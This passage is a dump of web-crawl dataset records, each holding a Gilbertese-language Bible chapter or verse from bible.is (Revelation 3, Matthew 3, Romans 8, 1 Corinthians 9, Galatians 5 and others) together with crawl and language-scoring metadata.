Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/John\/1\/14","date":"2014-03-12T11:12:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394021724521\/warc\/CC-MAIN-20140305121524-00050-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999845028,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999845027923584}","num_words":49,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.367,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ko na koroboki nakon ana anera te ekaretia are i Tareteiti ni kaangai: E kaangai Teuare iai irouna itoi ake itiua ma taamnei aika itiman ake mai iroun te Atua, I atai aroarom; e ataaki taekam bwa ko maiu, ma ko boni mate. 2Ko na kamarurungko, ao ko na kateimatoai baikana a tuai ni mauna, akana nangi mate; bwa I aki noori baika ko a tia ni karaoi bwa a kororaoi aroia i matan te Atua. 3Ma ngaia ae ko na uringa aron are ko reireiaki iai ma are ko ongo; ao ko na taua, ao raira nanom. Ma ngaia aei, ngkana ko aki kamarurungko, ao ae N na nakoim n ai aron te tia ira, ao ane ko na bon aki ataa te aoa ae N na roko iai iroum. 4Ma iai araia temwaangina iroum ikanne i Tareteiti ake a tuai ni kabaarekai kunnikaia: a na nakonako ma Ngai ni kunnikaiia ni kunnikai aika a mainaina, bwa a bon tau. 5Ane e tokanikai ao e na kunnikaia ni kunnikai aika a mainaina; ao N na bon aki kamauna arana man te boki ni maiu arei, ao N na kaotia bwa bon au aomata i matan Tamau ao i mataia ana anera. 6Ane iai taningana ao ke e ongo ana taeka te Taamnei nakoia ekaretia. 7Ao ko na koroboki nakon ana anera te ekaretia i Biraterebia ni kaangai: E kaangai Teuare e tabu, are e kakaonimaki, are iai irouna ana kiing Tawita, are ngkana E kauka te mataroa ao akea ae e konaa ni kainna, ao ngkana E kainna ao akea ae e konaa ni kaukia. 8I atai aroarom. Noria, I kaaki i matam te mataroa ae e uki, ae e aki konaa temanna ni bonotia. E karako korakoram, ma ko taua au taeka, ao ko aki kaakeaa arau. 9Noria, N na kanakoia temwaangina man ana bootanaomata Tatan bwa a na bobaraaki i rarikini waem—te koraki aika taani kewe, aika a taku bwa I-Iutaia ngaiia, ma bon tiaki—ao a na ataia bwa I tangiriko. 10Ngkai ko a tia ni kaawakina au taeka nakoim bwa ko na nanomwaaka, ao N na kaawakiniko naba man te aoa ni kariiriiaki are e nangi roko i aon te aba ni kabutaa, ni kataiia ake a maeka iai. 11Ae N na waetata n roko; ko na taua ane iroum, bwa e na aki uota nako am baunuea temanna. 12Ane e tokanikai, ao N na karaoia bwa bouan ana umwantabu Atuau, ao e na bon aki konaa n oti nako maiai; ao N na korea aran ana kaawa Atuau i aona, ao N na korea naba arau ae e boou i aona. 13Ane iai taningana ao ke e ongo ana taeka te Taamnei nakoia ekaretia. 14Ao ko na koroboki nakon ana anera te ekaretia are i Raorikeia ni kaangai: E kaangai te Amene are te Tia Kaotioti are e kakaonimaki are e koaua, are a moa mai irouna baika a karikaki iroun te Atua: 15I atai aroarom; I ataia bwa ko aki mariri ao ko aki bue. Ko bia mariri ke ni bue! 16Ao ngkai ko aang teutana, n aki mariri ke ni bue, ao N na mumutaiko mai wiiu. 17Ngkai ko kaangai: I kaubwai, ao a kabatiaaki au bwai, ao I aki kainnano n te bwai teuana; ao ko aki ataiko bwa te aomata ae e kai nanona ngkoe, ao ko kananoanga; ko aki kaubwai, ko mataki, ao akea karabaam. 18Ma ngaia ae aio au taeka n reirei nakoim: ko na kabooa te koora ae irou, ae te koora ae e aki rengarengan, bwa ko aonga ni kaubwai. Ko na kabooi kunnikai aika a mainaina bwa ko aonga ni kunnikaiko, ao bwa e aonga n aki nooraki arom n aki karabaaniko ae kamaamaa; ao ko na kabooa naba bwaini kabiran te mata ni kabiri matam iai, bwa ko aonga n nooraaba. 19Akana I tangiriia ao I boaiia ma n reireiia aroia aika a riai; ma ngaia ae ko na kakorakorako ao raira nanom. 20Noria, I tei i rarikin te mataroa, ao I karebwerebwe: ngkana e ongo bwanaau temanna, ao ngkana e kauka te mataroa, ao N na nakoina, ao N na amwarake ma ngaia, ao ngaia ma Ngai. 21Ane e tokanikai, ao N na anganna te konaa n tekateka ma Ngai n au kaintokanuea, n ai arou naba ngke I tokanikai ao I tekateka ma Tamau n ana kaintokanuea. 22Ane iai taningana ao ke e ongo ana taeka te Taamnei nakoia ekaretia.\nTE KAOTIOTI 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/3","date":"2014-03-14T13:36:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678693008\/warc\/CC-MAIN-20140313024453-00012-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":740,"character_repetition_ratio":0.05,"word_repetition_ratio":0.047,"special_characters_ratio":0.237,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ni boong akekei, ao e roko Ioane are te tia bwaabetiito ni kabwarabwara n rereuan Iutaia, 2ao e taku, Rairi nanomi, bwa e a kan roko uean te Atua, 3Boni ngaia teuare e taekinaki iroun te buraabeti are Itaia ngke e kaangai: Bwanaan temanna ae e takaarua n te rereua; Katauraoa kawain te Uea, Kaeti kawaina nako. 4E kunnikaia Ioane ni buraen te kaamero, ao e bwaina te roo ae te kau bwa kabaean nuukana; ao kanana rokati ma aia karewe manibeeru. 5A nakoina aomata nako mai Ierutarem, Iutaia, ao man taabo ake i rarikin te karaanga are te Ioretan, 6A bwaabetitooaki irouna n te karaanga are te Ioretan, ngke a kaoti aia bure. 7Ngke e nooriia Bwaritaio ma Tarukaio aika a bati bwa a roko bwa a na bwaabetitooaki, ao e taku nako ia, Ngkami aika buniia naeta, antai ae e tuangkami bwa kam na biri nako man te un are a kan roko. 8Kam na karaoi mwakuri aika a na kaota ae kam a tia n rairi nanomi; 9ao tai taku i nanomi ni kaangai, Iai tamara bwa Aberaam; bwa I taku nakoimi, bwa E konaa te Atua ni karikiia natin Aberaam man atibiu aikai. 10Ao e tauraoi ngkai te angaraa ni korei kaai mani wakaaiia; te kai are e aki kariki uaa aika a raraoi, e na koreaki ni kabwakaaki, ao e na teweaki nako nanon te ai. 11I bwaabetitooingkami n te ran bwa kaotan ae kam a tia n rairi nanomi, ma Teuae na roko i mwiiu E kakannato riki nakoiu, ao I aki tau bwa N na uouoti ana kauniwae; E na bwaabetitooingkami n te Taamnei are e Raoiroi, ma te ai. 12E mena i nanoni baina te bwai ni mwakuri are E na kaitiaka iai maangen te uiita man te tabo are e ororeaki iai te uiita bwa e aonga n raure nako ma kaina. E na booti uaa n uiita i nanon ana titoa ni bwai, ao E na kabuoki maangen uiita n te ai are e aki maamate. 13E nako ngkanne Iesu mai Kariraia nako Ioretan nakon Ioane, bwa E na bwaabetitooaki irouna. 14Ma e kataia n tuukia Ioane, ao e taku, I riai ni bwaabetitooaki iroum, ao Ko nakoiu? 15Ao Iesu E kaeka ni kaangai, Kariaia ngkai: bwa te bwai ae e riai iroura bwa ti na karaoi bwaai ni kabane ake E tangiri te Atua. Ao e kariaia Ioane. 16Ngke E a tia ni bwaabetitooaki Iesu, ao E aerake naba man te ran, ao nooria, e kaukaki karawa nakoina, ao E noora Taamnein te Atua bwa E ruo n ai aron te taobe, ao E toka i aona; 17ao nooria te bwanaa mai karawa, ae e kaangai: Natiu aei ae E tangiraki irou, ae I kakatonga irouna.\nMATAIO 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/3","date":"2014-03-07T20:58:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999650844\/warc\/CC-MAIN-20140305060730-00059-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":458,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.459,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:33Bwa E atongaki Teuaei bwa e riai ni mwaiti riki neboakina nakon neboakini Mote, n ai aron te tia kateitei ae e riai ni mwaiti riki karineana nakoni karinean te auti are e kateia. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/3","date":"2014-03-14T19:49:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678694628\/warc\/CC-MAIN-20140313024454-00090-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999651909,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9999651908874512}","num_words":50,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3737Ngke E tia n atongi baikekei Iesu, ao E kaoaki iroun te Bwaritaio temanna bwa E na amwarake ma Ngaia; ma ngaia are E rin n ana auti ao E tekateka n rarikiriki bwa E na amwarake. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/37","date":"2014-03-08T22:07:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999664754\/warc\/CC-MAIN-20140305060744-00010-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.000005841255188}","num_words":53,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae akea te moti ni kabuaakakaia akana mena i nanoni Kristo Iesu. 2Bwa ana tua te Taamnei, are e karekea te maiu nakoira i nanoni Kristo Iesu, e kainaomataai man ana tua te bure ma te mate. 3Bwa te bae e aki konaa ni karaoia te Tua ngke e mamaara ibukin te rabwata, ao E karaoia te Atua: bwa E kanakoa bon Natina ma rabwatana ae ai aron rabwatara ae e buubure, bwa E na motika taekan te bure ae n te rabwata ni kabuaakakaa, ao bwa E na kamauna te bure. 4Bwa e aonga ni karaoaki nanon te Tua iroura ngaira aika ti maiu n aron nanon te Taamnei, ma tiaki n aron nanon te rabwata. 5Bwa te koraki aika a maiu n aron nanon te rabwata a kairaki aia iango n nanon te rabwata, ma te koraki aika a maiu n aron nanon te Taamnei a kairaki aia iango n nanon te Taamnei. 6Bwa nanon te rabwata bon te mate, ma nanon te Taamnei bon te maiu ao te raoi. 7Bwa nanon te rabwata bon te ribaa te Atua, bwa e aki mena i aan ana tua te Atua, ao e bon aki kona; 8ao a aki konaa ni kakukureia te Atua akana maiu n aron nanon te rabwata. 9Bwa kam aki maiu n aron nanon te rabwata, ma kam maiu n aron nanon te Taamnei ngkae E maeka i nanomi Taamnein te Atua. Ao ngkana akea Taamneini Kristo iroun te aomata, ao tiaki ana aomata. 10Ao ngkana E mena Kristo i nanomi, ao e mate te rabwata ibukin te bure; ma te maiu boni mai iroun te Taamnei ibukina bwa a a tia ni kaetaki aromi n reitaki ma te Atua. 11Ma ngkana E maeka i nanomi Taamnein Teuare e manga kamaiua Iesu mai buakoia maate, ao te Atua are e kamaiua Kristo Iesu mai buakoia maate E na kamaiu naba rabwatami aika a maamate irouin Taamneina ane e maeka i nanomi. 12Ma ngaia aei, tariu, ti aki bae n te rabwata, n ira nanona ni maiura; 13bwa ngkana kam ira nanona ni maiumi, ao ane kam na mate; ma ngkana kam katoki aromi aika a buaakaka n ana buobuoki te Taamnei, ao kam na maiu. 14Bwa akana kairaki iroun Taamnein te Atua ao bon natin te Atua. 15Bwa te Taamnei are kam anganaki E aki karikiingkami bwa tooro, ao E aki karika te maaku i nanomi; ma kam anganaki te Taamnei ae e natinaki te aba irouna, ao ae ti a konaa irouna ni kaangai iai: Abwa Tamara. 16Ao te Taamnei aei E ibuobuoki ma taamneira ni kaotiotira bwa natin te Atua ngaira; 17ao ngkana natina ngaira, ao bon taani bwaibwai naba ngaira-taani bwaibwai iroun te Atua, ao taan uaia ni bwaibwai naba ma Kristo; bwa ngkai ti bwainikiriinaki ma Ngaia, ao ti na neboaki naba ma Ngaia. 18Bwa I kakoauaa bwa a aki konaa ni kabootauaki taiani bwainikiriinaki aika a reke nakoira ni boong aikai ma te neboaki are e nang kaotaki nakoira. 19Bwa bwaai ni kabane aika a karikaki a tiku ma te ingainga ni kakaantaninga te Atua are E na kaotia bwa antai aika bon natina. 20Bwa bwaai ni kabane aika a karikaki a bane ni kaakiaki taekaia i aan te aki-nako-raoi, tiaki n oin nanoia, ma n nanon Teuare e kaakiia i aana, ma te kaantaninga i bukiia, 21bwa a na kainaomataaki man te mka are a na bane n roko iai, ao a na karekea te aro n inaomata ae akea n ai arona are aia bwai natin te Atua. 22Bwa ti atai baika a karikaki bwa a bane n teimatoa ni karokoa ngkai ni ngirangira ma n ariri ni maraki, kaanga ai aron te aine are e nangi bung. 23Ma tiaki ti baika a karikaki ae e reke aei irouia, bwa ngaira naba, aika iai iroura te Taamnei are te moanibwai n ana bwai n tituaraoi te Atua: ti ngirangira i nanora ni kaantaninga te natinaki ao kainaomataan rabwatara ni kabane. 24Bwa ti kamaiuaki n te kaantaninga; ma ngkana ti noora are ti kaantaningaia ao bon tiaki te kaantaninga; bwa e aera te aomata ngkae e na kaantaninga te bae e nooria? 25Ma ngkana ti kaataninga te bae ti tuai n nooria, ao ti kakariariaa ma te taotaonaki n nano. 26Ao ai aron naba te Taamnei bwa E buobuokiira ni mamaarara: bwa ti aki ataa arora n tataro ae e riai, ma E buubuti te Taamnei i bukira ni ngirangira aika a aki konaaki n atongaki aroia. 27Ao te Atua are e noori nanoia aomata ni kabaneia E ataa nanon te Taamnei, ibukina bwa E buubuti i bukiia ake a itiaki n aron nanon te Atua. 28Ao ti ataia bwa ni bwaai ni kabane, ao E mwamwakuri te Atua ibukin te raoiroi ao i bukiia te koraki ake a tangiria ake E a tia ni weteiia nakon ana kaantaninga. 29Bwa te koraki ake E a kaman rineiia ngkoa, E a kamani baaireiia naba bwa a na riki ni katootoonga Natina, bwa E aonga n riki bwa te karimoa i buakoia taari aika a bati. 30Ao E weteiia naba ake E a kamani baaireiia; ao ake E weteiia E kaeti naba aroia n reitaki ma Ngaia; ao ake E kaeti aroia n reitaki ma Ngaia, E neboiia naba. 31Ao tera ngkanne ae ti na taekinna ibukini baikai? Ngkana raora te Atua, ao antai ae e konaa n ekira nako? 32Teuare e aki taua ae bon Natina, ma E anga i bukira ni kabaneira, ao E na iranna n aki anganiira bwaai n aakoi ni kabane ma Ngaia? 33Antai ae iai ana taeka ni bukiniia akana rineaki iroun te Atua? Bon te Atua ae e kaetiia. 34Ao antai ae e na kabureia? Kristo Iesu boni Ngaia are e mate, are E a manga maiu mai buakoia maate, ao are E mena naba i angaatain te Atua ni bubuubuti i bukira. 35Antai ae e na karaaureiira ma tangirara irouni Kristo? Te rawaawata, ke te maraki, ke te bwainikiriinaki, ke te rongo, ke te aki-kunnikaiaki, ke te kabuanibwai, ke te kamateaki? 36N ai aron are e koreaki ni kaangai: Ti tiringaki i bukim ni kabongnga; Ti atongaki bwa tiibu aika a nangi tiringaki bwa karea. 37Ma moan te tokanikai ngaira i aoni baikai ni kabane iroun Teuare e tangiriira. 38Bwa I boni koaua bwa e aki konaa te mate, ke te maiu, ke anera, ke baika iai mwaakaia ma aroia n tau-taeka i karawa, ke bwaai aika a boou, ke baika a na roko, 39ke te rietaata, ke te rinano, ao e aki konaa naba te bwai teuana ae e karikaki, ni karaaureiira ma tangirara iroun te Atua, are i nanoni Kristo Iesu are ara Uea.\nROM 8","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/8","date":"2014-03-11T16:18:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394011221943\/warc\/CC-MAIN-20140305092021-00078-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1115,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I aki inaomata? Tiaki te tia tuatua ngai? I tuai noora Iesu are ara Uea? Ao tiaki ngkami kanoani mwiin au mwakuri ibukin te Uea? 2Ngkana a aki kinai tema'ngina bwa te tia tuatua ngai, ma kam boni kinai bwa te tia tuatua ngai nakoimi; bwa boni kakoauaan nakoau ngkami bwa te tia tuatua ngai ibukin te Uea. 3Ao aio au taeka nakoia akana nenera arou: 4Akea ara riai bwa ti na amwaamwarake ma ni momooi? 5Akea ara riai bwa ti na kaiririia buura aika Kristian, n ai aroia taan tuatua ake tabemwaang, ma tarin nako te Uea, ma Keebwa? 6Ke ti ngai ma Bwarenaba aika ti na mwakuri ni karekei baika ti kainnanoi ibukini maiura? 7Antai te tautia ae boni kabwakai booni mwiin ana kabane mwane i nanon ana tai ni mwakuri n tautia? Antai ae e uniki kureebe ni nneia ae e na aki kang uaana? Antai te tia kaawakin-tiibu ae e aki karekea nimana n rannimammaia tiibu? 8I aki taekini baikai man te iango n aomata. Tiaki bwa aei naba ae e taekinna te Tua? 9Bwa e koreaki ae e kaangai n ana Tua Mote: Ko na tai kabaea wiin te kkao ngkana e toutoua te uiitani kaaki kunna; 10ke tiaki ana taeka anne i bukira? E boni koreaki i bukira: bwa te aomata ae e katauraoa raoi tanon ana tabo n unuuniki e mwakuri ma kaantaningaan reken tibwangana man uaan arokana; ao te aomata are e kaaki kunin uaan uiita e kaantaninga naba reken tibwangana man uaan uiita. 11Ngkana ti a tia ni kamaae n uniki koraa i nanomi ni baika a reitaki ma ana kaantaninga te Atua, ao e na iai te nako-buaka iroumi ngkana ti karekei mai iroumi uaani mwiin ara mwakuri, aika bwain te maiu aei? 12Ngkana iai aia riai temwaangina ni karekei tibwangaia n ami bwai, ao tiaki e a moamoa riki ara riai ni karekei tibwangara n ami bwai? Ma e boni ngae n anne, ma ti a tia n aki bwaina arora aei nakoimi; ma ti taotaon nanora nakoni bwaai nako bwa ti aonga n aki tuutuuka kawain te euangkerio. 13Kam aki ataiia ake a kaakarao taromauri n te umwantabu bwa a karekei kanaia man te umwantabu, ao te koraki ake a karao taromauri n angakarea bwa iai tibwangaia ni baike a kareanaki? 14Ao ai arona naba nakoia te koraki ake a tataekina te euangkerio, bwa E tua te Uea bwa a riai ni kareke baika a kainnanoi ibukini maiuia man aia mwakuri n tataekina te euangkerio. 15Ma I tuai mani bwaina teuana mani baikai, ao I aki koroi naba taeka aikai bwa a aonga n reke nakoiu. E raoiroi riki i bukiu bwa N na mate nakon ae e anaaki mai irouu iroun temanna te bwai ae I kakatonga iai. 16Bwa ngkana I tataekina te euangkerio, ao bon akea bukin ae N na kamoamoa iai, bwa I katabeaki iai bwa I bon riai n tataekinna. E na reke kaiu ngkana I aki tataekina te euangkerio! 17Bwa ngkana I karaoa aei ibukin ae I boni kani karaoia, ao e na reke iai boon au mwakuri; ma ngkana I karaoia ibukina bwa tiaki oin nanou, ao I karaoia bwa bon au mwakuri ae I anganaki bwa N na karaoia. 18Tera ngkanne kaniwangau iai? Bon te tataekina te euangkerio n akea boona, ao te aki bwaini baike a bon riai n reke nakoiu n au mwakuri ibukin te euangkerio. 19Bwa e ngae ngke I inaomata bwa akea ae I toro irouna, ma I karikai bwa te toro ngai nakoia aomata ni kabaneia bwa N na kabatiaia konau. 20Ngkana I mwakuri i buakoia I-Iutaia, ao I riki n ai aroia I-Iutaia, bwa a aonga n riki ni Kristian; ao e boni ngae ngkana I aki mena i aan te Tua, ma I riki n ai aron ae I mena i aan te Tua, bwa a aonga n riki ni Kristian te koraki ake a mena i aan te Tua. 21Ao ngkana I mwakuri i buakoia aomata ake aki tautaekanaki n te tua, ao I riki n ai aroia n aki tautaekanaki n te tua, bwa a aonga n riki bwa Kristian; ma tiaki nanona bwa aongkoa akea ana tua te Atua irou, bwa I boni mena i aan ana tua Kristo. 22Ao ngkana I mwakuri i buakoia aika a mamaara n te onimaki, ao I riki n ai aroia ni mamaara, bwa a aonga n riki ni Kristian. I a tia n riki n aekaia aomata nako n aroia nako, ao I karaoi bwaai ni kabane aika I konai, bwa a aonga ni kamaiuaki temwaangina mai buakoia irou. 23I bane ni karaoi baikai ibukin te euangkerio, bwa e aonga n reke irouu tibwangau mani kabwaia ake iai. 24Kam aki ataia bwa mai buakoia aomata ni kabaneia ake a ira te kaboo biri mwaaka n te tabo ni biri, ao bon ti temanna ae e na reke irouna te kaniwanga? Kam na biri bwa e aonga n reke iroumi. 25Aomata ni kabaneia aika a na ira te kaboo n te takaakaro a rangi n tabutabui aroia nakoni bwaai nako. A karaoa aei bwa e aonga n reke irouia te bau ae e kai mka, ma ngaira te bau ae e aki konaa ni mka. 26Ma ngaia ae I aki biri n aki akaka, ao I aki itau n ai aron temanna ae e orea te akea; 27ma I kataneiaia rabwatau n te aro bwa e aonga ni matoatoa, ao I taua taekan arou bwa kaanga te toro, bwa e kaawa n aki reke arou i mwiin tataekinan te euangkerio nakoia temwaangina.\n1 KORINTO 9","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/9","date":"2014-03-14T12:47:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678693008\/warc\/CC-MAIN-20140313024453-00078-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":928,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E koaua te taeka ae e kaangai: Ngkana e kan riki te aomata bwa te mataniwi n te ekaretia, ao e rinea te mwakuri ae e raoiroi. 2E riai iroun te mataniwi n te ekaretia bwa a na akea arona ae na kabuaakakaaki iai; e riai n ti temanna buuna, e na taua baangina, e na bwaina te nanowanawana, e na rabakau te aroaro, e na akoiia iruwa, ao e na rabakau n reireiia aomata; 3e na aki riki bwa te tia manging, ke te tia oro; ma e na taotaona nanona n aki un,ao e na tai baki-tianti. 4E na riai n rabakau n tauu aroia oin ana utu n te aro ae riai, ao e riai n taraiia natina bwa a na aan-taeka ma te aro ni karinerine n aaro nako. 5Bwa ngkana e babanga te aomata n tauu aroia kaain oin ana utu, ao e na kangaa ni kaawakina ana ekaretia te Atua? 6E riai n ikawai i nanon te onimaki, bwa e kaawa ni kaonaki nanona n te kainikatonga ao e motikaki taekana ni karawaawataaki, n aron te riaaboro. 7E riai n te aomata ngaia ae e karineaki irouia aomata aika tiaki kaain te ekaretia, bwa e kaawa ni kamangoraki arona ao e bwaka i nanon ana bwai ni kamwaamwane te riaaboro. 8Ao ai aroia naba taani buobuoki, a na taua ma nanoia, a na taekina te koaua, a na tai manging, ao a na tai kani bwaibwai n te aro ae e aki riai! 9A na teimatoa n onimakina te baere e raba are bwain te onimaki ma mataniwiin nanoia ae e itiaki. 10A riai naba ni kakoauaaki moa, ao ngkana a nooraki bwa a tau, ao a na mwakuri. 11Ao ai aroia naba aine aika taani buobuoki a na aki bwaina te bakanrerei, a na tai winanti, a na tauu baangiia, a na kakaonimaki nakoni bwaai ni kabane. 12A riai ni kaka temanna buia taani buobuoki ao a na rabakau n tauu aroia natiia ma oin aia utu n te aro ae e riai. 13Bwa taani buobuoki aika a karaoa raoi aia mwakuri a karekei nneia aika a raraoi, ao a konaa n taekina taekan onimakinan Kristo Iesu irouia ma te ninikoria. 14Ngkai I koroi baikai nakoim, ao I kaantaninga bwa N na roko iroum i nanon te tai ae e aki maan. 15Ma ngkana I waeremwe, ao baika I koroi a na tuangko te aroaro ae e riai ni bwainaki i buakoia ana utu te Atua, ae ana ekaretia te Atua ae e maiu, ae te ekaretia ae e taua te koaua mai aana bwa bouana ao aana. 16Ao ti kaotia bwa e kakannato te baere e raba are bwain te Aro ni Kristian: E kaoti n rabwata, E kakoauaaki iroun te Taamnei bwa e eti arona, E nooraki irouia anera, E tataekinaki nakoia aomata ni kabaneia; E onimakinaki irouia aomata nako i aonnaba, E uotaki rake ni mimitong.\n1 TIMOTEO 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/3","date":"2014-03-16T20:58:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678703748\/warc\/CC-MAIN-20140313024503-00078-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":487,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.499,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa E kainaomataira Kristo ibukin te aro n inaomata; ma ngaia ae kam na teimatoa, ao kam na tai manga bae i aan te amo n toronaki. 2Noria, I taku nakoimi ngai ae Bwauro, bwa ngkana kam koroberoaki, ao akea manenani Kristo iroumi. 3Ao N na taekinna riki nakoia aomata ni kabaneia aika a koroberoaki, bwa a kabaeaki bwa a na toua mwiin te Tua ni kabanea. 4Kam a raure ma Kristo, ngkami aika kam taku bwa e reke reitakimi ma te Atua n te Tua; kam bwaka man te aakoaki. 5Bwa a ingainga nanora ni kakariariaa reken reitakira ma te Atua; ao ti kaantaninga aei bwa e na karaoaki ri nanon ara onimaki ni mwaakan te Taamnei. 6Bwa akea i nanoni Kristo Iesu manenan te koroberoaki ke te aki—koroberoaki; ma e manena te onimaki are e oti arona n te mwakuri ae iai te tangira iai. 7Kam nako raoi ngkoa; antai ane e tuukingkami bwa kam na aki ira nanon te koaua? 8Tiaki mai iroun Teuare e weteingkami te aro n anai nano anne. 9E kaangai te taeka, Te iiti ae ti teutana e konaa ni karikirakea te buraawa ae e na karikaki. 10Ngkai I uaia n reitaki ma ngkami i nanon te Uea, ao I aki nanokokoraki bwa kam na bon aki bwaina te iango ae e kaokoro. Ma te aomata are e aki karaungkami, bwa antai ngaia, e na karawaawataaki ni motikan taekana. 11Ma ngaia aei, taari, ngkana I bon tabe naba n tataekina te korobero bwa e riai, ao e aera ngkai I teimatoa ni bwainikiriinaki? Ma ngkana I tuangiia aomata bwa a na koroberoaki, ao e a aki riki ngkanne taekan te kaibangaki bwa te bwai ni kabwakabwaka. 12A bia boni koroiia ngaiia te koraki akana a aki karaungkami! 13Bwa kam weteaki nakon te aro n inaomata, taari; ma kam na tai bwaina te aro n inaomata bwa aonami ibukini baika e tangiri te rabwata; ma kam na i torotoro iroumi n te tangira. 14Bwa e kabaneaki te Tua n touaki mwiina n ae e kaangai, Ko na tangira raom n ai aron tangiram i bon iroum. 15Ma ngkana kam i tenatena ma n i kaakang, ao kam na tarataraingkami bwa kam kaawa n i kamaunaingkami temanna iroun temanna. 16Ma aio au taeka: Kam na kairaki iroun te Taamnei, ao ane kam na aki karaoa nanon te rabwata ni kaibwabwaru n aron are e tangiria. 17Bwa e bati ni kan eekaanako te Taamnei te rabwata, ao E bati ni kan eekaanako te rabwata te Taamnei; bwa a i kairiribai, bwa kam aonga n aki karaoi baika kam kani karaoi. 18Ma ngkana kam kairaki iroun te Taamnei, ao kam aki mena i aan te Tua. 19A bon ataaki ana mwakuri nako te rabwata, bwa te wene ni bure, te kammaira, te kaitaataan, 20te taromauri bouananti, te tabunea, taian riribai, te kauntaeka, te tauaninne, taian un, taian unra i marenaia ami bootaki nako, taian i raraaure, taiani kakaokoro n iango, 21taiani bakantang, te momooi manging, taiani bobootaki ni kukurei ni kammaira, ma baika ai aroni baikai; ao I a manga tuangkami ngkai, n ai arou naba ngke I tuangkami ngkoa, bwa a aki konaa ni karekea uean te Atua akana a karaoi baikai. 22Ma uaan te Taamnei te tangira, te kimwaareirei, te raoi, te taotaonaki n nano, te atataiaomata, te raoiroi, te kakaonimaki, 23te nimaamannei, te taotaonaki n nano mani karaoani baika e tangiri te rabwata; akea te tua ae e eeki nako baikai. 24Ao akana ana aomata Kristo Iesu a taura te maiu n rabwata ma nanona ni kammaira ma ni kaibwabwaru n te kaibangaki. 25Ngkana te Taamnei ae ti maiu irouna, ao boni Ngaia naba ae e na kairi maiura. 26Ti na tai riki ni kainikatonga, ti na tai i kaunuun, ao ti na tai i babakantang.\nKARATIA 